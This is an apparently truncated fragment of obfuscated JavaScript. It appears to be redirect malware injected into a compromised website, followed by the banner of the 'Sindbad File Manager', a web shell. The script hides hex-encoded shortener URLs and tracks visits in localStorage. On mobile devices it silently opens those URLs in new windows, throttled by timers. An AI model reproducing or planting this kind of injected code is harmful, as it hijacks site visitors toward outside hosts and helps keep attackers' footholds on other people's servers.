_0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x50\x58\x66\x30\x63\x390','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x72\x67\x2f\x74\x49\x67\x31\x63\x371',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists